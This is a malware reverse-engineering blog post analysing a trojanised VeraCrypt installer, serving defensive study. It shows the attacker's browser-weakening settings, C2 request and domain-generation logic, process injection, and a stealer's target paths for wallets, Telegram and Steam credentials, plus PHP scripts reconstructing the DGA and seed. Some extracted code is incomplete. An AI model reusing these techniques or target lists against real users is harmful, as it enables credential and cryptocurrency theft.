An Analysis of Modified VeraCrypt binaries (Part 3)

Continuing and finishing on the analysis of the fake VeraCrypt Windows installer distributed on httx://vera-crypt[.]com, I am now reverse-engineering data.dll, which again tries to download another payload from a C2 server. Problem: the server is down. Instead, I’m focusing on recovering an old payload from the same malware family that I decipher from a PCAP by brute-forcing its weak encryption key. In the end, the payloads perform man-in the-browser to analyze the traffic by hooking network functions, and they steal the victim’s saved credentials and cryptocurrency wallets!

Part 2 summary: [ID].exe performs a number of checks to make sure the binary is not being analyzed. It loads big_log in a convoluted way, which decrypts data.dll in memory and jumps to it. In turn, data.dll (not the function data() from Part 1) executes more anti-analysis checks, decrypts hundreds of strings, and dynamically loads a bunch of library functions.

data.dll: Payload or not yet?

Now that we have reconstructed the variable names and library function names, figured out the anti-analysis functions, we can get an overview of the start function.

data.dll start function

A mutex named after the ID is created, then released immediately. The program terminates if the mutex already exists. I’m not sure what’s the intent here, since there is nothing useful happening while the mutex is owned. If this is a way to prevent the program from running twice in parallel, this does not do the job…

The only remaining function to explore is sub_405AA8 (thereafter named main_stuff).

This will get gradually become more interesting, I promise.

Main payload, several functions to analyze

Let’s start with the first function: sub_4055E5. It targets… Firefox!

Firefox preferences

data.dll loads %appdata%\Mozilla\Firefox\Profiles.ini, which describes the profile paths for Firefox, then gets the path of the first profile found, and opens its pref.js, which in turn contains the preferences for Firefox. The following settings are appended:

user_pref("network.http.spdy.enabled.v3-1", false);
user_pref("network.http.spdy.enabled.v3", false);
user_pref("network.http.spdy.enabled", false);
user_pref("browser.tabs.remote.autostart", false);
user_pref("browser.tabs.remote.autostart.2", false);
user_pref("gfx.direct2d.disabled", true);
user_pref("layers.acceleration.disabled", true);#89D5ACAA6B4C4765CFD8F8

The modified preferences disable the SPDY algorithm. I have seen this behavior in Wajam that was doing man-in-the-middle of HTTPS traffic and did not handle SPDY until a later version. That may sound like this piece of malware may tamper with network traffic.

The multi-process windows feature in Firefox is also disabled, meaning that instead of spawning a new process per tab, all tabs stay in the same process. This could simplify a process injection kind of thing.

Finally, hardware acceleration is disabled. That, I’m not sure why. Maybe the malware tries to screenshot pages and can’t otherwise? Weird…

Internet Explorer settings

Similarly, IE settings are modified.

Under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main, TabProcGrowth is set to 0. This may have to do with 32-bit add-on in 64-bit IE. Looking forward for that add-on!

Also, IE’s ProtectedMode is disabled by setting NoProtectedModeBanner to 1, and HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2500 to 3.

Randomness, mask and proxy

The next function sub_40460C does a bunch of things.

First, it generates a random 9-character string by using a simple rand() function seeded with the Performance Counter, a high-resolution time stamp.

This random string is hashed with MD5 to give a first digest, which I called randomNameMd5. It is further hashed to give randomNameMd5Md5. Those will be used later.

Next, it loads proxy.txt and mask.txt, that were dropped on the disk and encrypted with the ID (see Part 1). Their meaning will become clear soon.

I’m therefore calling sub_40460C, loadMaskProxyAndGenerateRandomHash.

More payloads in sight

Back to main_stuff, the next function called is sub_4052DD.

This function receives two pointers, and a boolean, and returns a buffer. The boolean determines whether the buffer is filled with the content of a file read from disk or whether the content is the result of a network request (also cached to disk for future calls). The two pointers correspond to 32 and 64-bit payloads, which are handled separately.

Although that’s what the function is designed to do, the arguments passed to it will direct the function to only fetch a 32-bit payload from an online resource and write it to disk, as outlined below.

The part from sub_4052DD that gets run, function calls are renamed by me

The function that I named readFileAndCheckIfMZ is self-explanatory:


In turn, checkIfMZ simply checks that the buffer is at least 0x400 bytes and starts with MZ: return size > 0x400 && *buf == 'M' && buf[1] == 'Z';

Said otherwise, if the payload does not already exist on disk, cannot be loaded and decrypted, or is not an executable file, we go to getPayloadAndWriteToFile.

Communication with C2 server

The function getPayloadAndWriteToFile is similar to readFileAndCheckIfMZ but instead of reading a file, it calls sub_404665(&bin32or64, &payloadSize). The first argument is the string bin|int32 in our case, and the second argument will receive the size of the returned buffer.

This function sub_404665 is slightly long, but can be approximated with the following pseudo-code:

gotValidResponse = false
while (!gotValidResponse) {
  request = RSAEncryptAndReverseAndBase64(randomNameMd5 + '||' + proxy + '||' + id + '||')
  request += '||delimiter||'
  request += base64("bin|int32")  // YmlufGludDMy
  request += '||delimiter||'

  send request as POST data to http://proxy:80/p1.php
  if there is randomNameMd5Md5 in response, gotValidResponse = true, break
  otherwise, change "proxy" domain to an alternative one
decryptedPayload = response[32:] ^ (pad of randomNameMd5)

Several interesting things happen here.

RSA encryption of POST data

First, what I called RSAEncryptAndReverseAndBase64 performs an RSA encryption operation using the following hardcoded 2048-bit RSA public key, reverses the string for whatever reason, and base64-encodes it. The encryption relies on the old CryptEncrypt API.

-----END PUBLIC KEY-----

The plaintext will look like this:


The encrypted string is concatenated with other strings, as shown in the pseudo-code. An example of the first HTTP request sent to the C2 server is as follows.

POST /p1.php HTTP/1.1
Pragma: no-cache
Content-type: text/html
Connection: close
Content-Length: 396


Although this first request does not contain very thrilling information, if we are provided with only network traffic captures, it’s not possible to decrypt it without the RSA private key. This will have consequences soon as I will try to decrypt the server’s response of another similar malware sample.

Domain Generation Algorithm

The next interesting thing happens when the request fails (e.g., the hardcoded domain cannot be contacted), there is a domain generation function (sub_404B33, which I called changeToAlternativeDomain) that will output new ones!

The high-level idea of the algorithm is the following.

// those global variables are initialized elsewhere
numberOfAttempt = 0;
proxy = "";

changeToAlternativeDomain() {
  if (numberOfAttempt > 0)
    proxy = domainGenerateAlgorithm(numberOfAttempt);
    proxy = decrypted content of proxy.txt

When first called, the same hardcoded domain “” will be returned and tried again. Upon the following calls to changeToAlternativeDomain, the domain will be generated by domainGenerateAlgorithm (sub_4043D5).

Recall mask.txt? Now, it enters the picture, and is actually a format string for sprintf!

The decrypted mask is %d_yq_%02u.%02u.%02u. It is populated with the number of attempts to reach a server and the current date. The result is hashed using MD5, and appended with “.com”.

wsprintfa(formatedDate, mask, numberOfAttempt, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);
formatedDateMd5 = md5(formatedDate);
lstrcatA(formatedDateMd5, ".com");

If you take today as an example, you will get the first alternative domain to be:
md5("1_yq_09.03.2020")+".com", which gives

Server response?

Now, unfortunately, at the time of writing, is no longer operational. It resolves to, but the server seems to be down. Also, today’s alternative domains do not exist.

I wanted to know if there was any other alternative domain for any day in the past that points to another server where I could fetch the server’s response.

I made a quick PHP script to replicate the Domain Generation Algorithm (DGA) and enumerate up to seven alternative domains per day in the past year.
(Note: seven is the hardcoded maximum, after which the counter loops back)

$date = new DateTime('today -1 year');
$end = new DateTime('today +1 week');
while ($date <= $end) {
  for ($attempt=1; $attempt<=7; $attempt++) {
    $domain = $attempt.'_yq_'.$date->format('d.m.Y');
    echo $domain."\t";
    $domain = md5($domain).'.com';
    echo $domain."\t";
    $ip = gethostbyname($domain);
    if ($ip === $domain) echo "no";
    else echo $ip;
    echo "\n";
  $date->modify('+1 day');

Unfortunately, none still exist 😦

Generating and resolving alternative domains

How I am supposed to study this malware if I can’t fetch the next payload?

Family history

In Part 2, I identified another malware sample that contained the same weird-looking domain as I found hardcoded in this one. It turns out that this other sample also performs the same type of HTTP POST request to a /p1.php URL. It definitely sounds like an earlier version of our current sample.

From this point on, I will investigate the payloads downloaded by this older sample from May 2018 that was bundled with a SlimPDF Reader installer. That’s the only thing I have to analyze further. Given the similarities in the old and recent sample, we can assume that the recent payload I couldn’t capture due to the server being down is of the same nature. However, since the C2 server controls what gets returned and executed, this could have changed at any time.

Old sample PCAP

I downloaded the PCAP from Hybrid-Analysis in hope to find the next payload returned by the server, circa 2018.

HTTP requests made by the earlier sample

There seems to be a number of requests made to /p1.php.

Let’s focus on the first one.

First HTTP request/response by the older sample

The request matches perfectly what our sample does! This is a strong evidence that the old sample from 2018 is from the same family as today’s sample bundled with VeraCrypt.

About the response though, it is encrypted. We first need to figure out whether it’s even possible to decrypt it.

Brute-forcing the HTTP response’s encryption key

The HTTP response is decrypted (XORed) with randomNameMd5, which is generated “randomly” at runtime and contained in the HTTP request, but encrypted using the RSA key. We don’t have access to it from the network traffic.


The code also checks whether the MD5 of randomNameMd5 (which I had called randomNameMd5Md5 earlier) is present in the response, and apparently it should be placed first given the line decryptedPayload = response[32:] ^ (pad of randomNameMd5). If you look at the Wireshark screenshot above, you can clearly see that the server’s response starts with what seems to be an MD5 hash.

The problem becomes knowing x given y=md5(x), and given x is also a hash.

Can I brute-force x? No.

But where does the entropy actually come from?

A rand() function.

And what’s the seed? The performance counter! To be precise, the lower DWORD of the counter. That’s 32 bits. And that is brute-forceable!

Here is the function that generates the random name.

generateRandomName function

And the random number generator, which is a linear congruential generator.

The rand() implementation

The implementation seeds the random number generator once with the performance counter. If we can find the value of this counter, we can derive the randomness and the generated name, and thus we can get randomNameMd5 and decrypt the server’s response.

Lazy as I am, I decided to implement the brute-force attack of the seed in PHP.

We know the target randomNameMd5Md5 is 93b3cdfdd3ef22d00d6807e7a0c054cb from the network capture. Let’s iterate the seed from 0 to 0xFFFFFFFF, generate the name with the randomness that comes out of it, and hash it twice to compare with this target hash. This operation could be easily parallelized, and probably adapted for hashcat to gain speed. However, this was fast enough for my purpose. It just took a few minutes.

$target_md5 = "93b3cdfdd3ef22d00d6807e7a0c054cb";

function get_rand(&$pc) {
  $v0 = ((0x41C64E6D * $pc) & 0xFFFFFFFF) + 12345;
  if ($v0 < 1)
    $v0 = 0xC5531B80;
  $pc = $v0;
  return (($v0 >> 16) & 0x7FFF);

for($pc_i=0; $pc_i<0xFFFFFFFF; $pc_i++) {
  $name = '';
  $pc = $pc_i;
  for($i=0; $i<9; $i++) {
    $name .= $alpha[get_rand($pc) % 62];
  if (md5(md5($name)) === $target_md5) {
    echo "\nFOUND SEED: PC (".dechex($pc_i)."), name '$name', md5 '".md5($name)."'\n";
  if ($pc_i % 100000 == 0) {
    echo "[".dechex($pc_i)."]...\n";

Let’s run it…

The seed was successfully brute-forced

Success! randomNameMd5 = 891dcadffb0e7f8f05693160cef0d6ab

This was a wild guess, betting that the old sample used the same random number generator and was checking the same information from the server’s response.

We can now decrypt the server’s response:

php > $md5 = "891dcadffb0e7f8f05693160cef0d6ab";
php > $enc = substr(file_get_contents('first-request-response.bin'), 32);
php > file_put_contents('first-request-response.dll', $enc ^ str_repeat($md5, ceil(strlen($enc)/32)));

The response is actually a DLL file, which I uploaded to VirusTotal since it wasn’t known. It got detected by 32/70 AVs. This file has a built-in path for the PDB debug info, with a username and a project name!

The first payload downloaded by the old sample appears to be named as NukeSuccses14 made by Andre

This payload is apparently part of a project called “NukeSuccses14” (sic) that Mr. Andre was storing on his desktop.

Accordingly, let’s name this DLL as int32.dll.

Smarter way to decrypt payloads

Now that I see the mysterious hash and the encrypted server’s response again, I feel bad.

Typically, when “encrypting” an executable by XORing it with whatever repetitive pattern, there are areas full of zeros in the executable that will be “encrypted” as the pattern itself. This is because zero is neutral for the XOR operation, i.e., zeros XOR something = something. When that something is an encryption key, the ciphertext is simply the key itself.

Check the ciphertext again. You can see the hash I just cracked at several places, minus some rotations.

The XOR key “891dcadffb0e7f8f05693160cef0d6ab” appears rotated at several places

This trick will help us decrypt the next payload without any effort, by just extracting the strings from the executable and hashing a sliding window of 32 bytes until we find a match.

$ strings -32 next-request-response.bin > next-request-response.bin.txt

$hash=substr($file, 0, 32); //82c114e7f40404f5289864c77ad9b69d
for ($i=0; $i<strlen($strings)-32; $i++) {
  if (md5(substr($strings,$i,32))===$hash) {
    echo substr($strings,$i,32);
// output: 43f8e28e07c451205657dba8108f4a79

Old sample’s PCAP

After the int32.dll payload is fetched, the sample makes a new request to the same URL with the following POST data.


Note that the first part before the delimiter is again encrypted. However, the rest is simply base64-encoded. For instance, aW5mb3w2fDF8MXwwfEpHdGY1SGRCdFF8ZTFDM3JkSnwwfDIzNzEwNDB8bWFpbnx0ZXMxfDEwMjR8NjE3 decodes to info|6|1|1|0|JGtf5HdBtQ|e1C3rdJ|0|2371040|main|tes1|1024|617.

This is still a little bit confusing, and the server’s response is empty beyond the expected hash.

In the third request, the non-encrypted part shows cGFzc3xn, which decodes to pass|g. In turn, the server returns a bigger payload than the first one, which I already decrypted in the above section with the more efficient decryption algorithm.

Let’s name this second payload as pass.dll.

This one doesn’t contain debug information.

On VirusTotal, pass.dll is detected by 34/69 AVs. It is labeled as “Password-Stealer” and “TrojanSpy.Stealer”, and is apparently made in Delphi…

Some other requests are re-runs of the first one (with a different ciphertext, but maybe with the same plaintext). The rest of the requests shows a decodable string that reads ping, with an empty response. Both those requests are made every 20 seconds…

Executing the payloads

One detail of importance, there is a remaining piece of code to analyze from data.dll. How is the first payload, int32.dll, executed?

This time, unlike the convoluted ways we have seen previously, the DLL is not written to disk. Rather, it is directly injected into dllhost.exe‘s memory.

We now have enough information to understand the main_stuff function we started from.

main_stuff shows an overview of data.dll‘s payload

The process dllhost.exe (from %windir%\System32) is created, and its process handle is passed to the last function sub_4040CC.

The injection works roughly as described in Method #2: PE Injection from

First, data.dll allocates some memory in dllhost.exe through VirtualAllocEx. Then it loads the content of int32.dll into it along with another function (sub_409158) from data.dll. I’m not sure what that one is doing, but probably has to do with properly rebasing the image. Finally, a new thread is created through CreateRemoteThread or RtlCreateUserThread.


Maybe after all this effort and little malicious activity (beyond Firefox/IE config change), we can finally get to find some nasty things?

After I again renamed several global variables as I did before, I explored the code of int32.dll. It is a relatively complex piece of software, and it would be pretty difficult to fully understand its functionality.

If we stick only to the main logic and some key string literals, I think that’s enough to get a picture.

The main logic goes as follows.

int32.dll main payload

First, the program checks whether it runs within dllhost.exe, runs svchost.exe and injects itself into it. It sets up inter-process communications through the named pipe \\.\pipe\[ID]. I can see a bunch of other things as well, which I’m not fully sure what it is about. I will share some key debug messages later below.

It then assumes it runs into other processes, such as iexplore.exe (IE), chrome.exe, firefox.exe, and explorer.exe. For each of these processes, the payload is adapted.

From what I understood, for the browsers, the idea is to hook network-related methods to be able to intercept the traffic. The fact that before the hooking, the same method loadMaskProxyAndGenerateRandomHash as we have seen in the previous payload is called makes me think that, once hooked, the network request calls may directly communicate with the C2 server and possibly leak information.

This is an excerpt from the Chrome hooking logic. The strings are somewhat meaningful.

Hooking Chrome SSL-related functions?

In svchost.exe, the function gethostbyname is hooked as well, which may be used to lie about certain domain name resolutions, and maybe redirect the victim’s traffic.

The function at sub_1000A9F0 runs explorer.exe and performs a number of UI operations using WindowFromPoint, SendMessageA, GetWindowPlacement GetWindowRect, ScreenToClient, ChildWindowFromPoint, MenuItemFromPoint, GetMenuItemID, PostMessageA, MoveWindow, SHAppBarMessage, …

I also found the same RSA public key we already found in data.dll, confirming that we are dealing with the same family, likely same author.

Other interesting things I found:

  • “X-HeyThere: 5eYEp80n3hM”
  • “As we walked along the flatblock marina, I was calm on the outside, but thinking all the time. So now it was to be Georgie the general, saying what we should do and what not to do, and Dim as his mindless greeding bulldog. But suddenly I viddied that thinking was for the gloopy ones and that the oomny ones use, like, inspiration and what Bog sends. For now it was lovely music that came to my aid. There was a window open with the stereo on and I viddied right at once what to do.”???
  • “AVE_MARIA”???
  • “webinject loaded!” in a function called when setting hooks on IE network functions.
  • “<script>window.location.href = window.location.href;</script>” appears in the function that hooks InternetReadFileExW (IE).
  • “–disable-http2 –use-spdy=off –disable-quic” is used in the hook for CreateProcessInternalW (kernel32.dll) when the process to create is chrome.exe. This adds arguments to Chrome that disables HTTP2, SPDY and QUIC, known to create problems with traffic-intercepting malware.
  • Related, there is “–no-sandbox –allow-no-sandbox-job –disable-3d-apis –disable-gpu –disable-d3d11 –user-data-dir=” for Chrome as well. This is used to start Chrome from sub_1000A9F0 as well.

From this brief analysis of int32.dll, it is reasonable to assume this is traffic-intercepting malware that hooks network functions in main browsers to perform man-in-the-browser attacks. There is also a graphical component to it, related to its need to disable hardware acceleration and various graphics features, but I’m not able to conclude anything more about this. The sample also establishes persistence by creating an entry under HKLM\Software\Microsoft\Windows\CurrentVersion\Run.


This payload was indeed compiled from Delphi as indicated by the string SOFTWARE\Borland\Delphi\RTL. It exports the function Do.

Interesting functions and strings include:

  • sub_414E3C(“Coins”)
    • “%appdata%\Electrum\wallets\”, “wallet.dat”, “electrum.dat”
    • “MultiBitHD\mbhd.wallet.aes”, “mbhd.checkpoints”, “mbhd.spvchain”, “mbhd.yaml”
    • “Monero\.address.txt”, “.keys”
    • “\BitcoinBitcoinQT\wallet.dat”
  • sub_41485C(“Skype”)
    • “main.db”
  • sub_413FB8(“Telegram”)
    • “%appdata%\Telegram Desktop\tdata\”, “D877F783D5*,map*”
  • sub_414AE4(“Steam”)
    • “\Config\*.vdf”

I guess it is safe to assume here that, given its label of “PasswordStealer”, this payload is actually interested in grabbing cryptocurrency wallets, Skype and Telegram info…

The behavior looks actually very similar to Azorult, a malware family from 2016. Azorult also grabs browser histories, saved credentials, etc. This behavior is likely implemented in this payload as well, as indicated by the use of CryptUnprotectData, which is used by Chrome to encrypt cookies and passwords under a Windows user account secret.


VeraCrypt was victim of “squatting phishing”, where some bad actors registered the phishy domain, that distributed a modified installer and portable version of VeraCrypt for Windows. Some of the payloads, intermediate registered domain names and server IPs seem to point to some people in Ukraine.

The modifications of VeraCrypt allowed the authors to fetch payloads from their C2 server whenever VeraCrypt[-64].exe is run, which would ultimately, after lots of evasion techniques, load and run various known malware payloads. Although I am not sure of the exact final payload that was served in the case of VeraCrypt, the analysis of a previously known payload from the same family of modified installers, showed two payloads: a traffic-interception malware that has capabilities to modify network traffic despite HTTPS by setting itself as a man-in-the-browser through network function hooking; and a browser history & password/cryptocurrency wallet/chat credentials stealer.

Thanks for following my first malware reverse-engineering write-up til this point!

For comments and suggestions, ping me at @xavier2dc.

One thought on “An Analysis of Modified VeraCrypt binaries (Part 3)

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: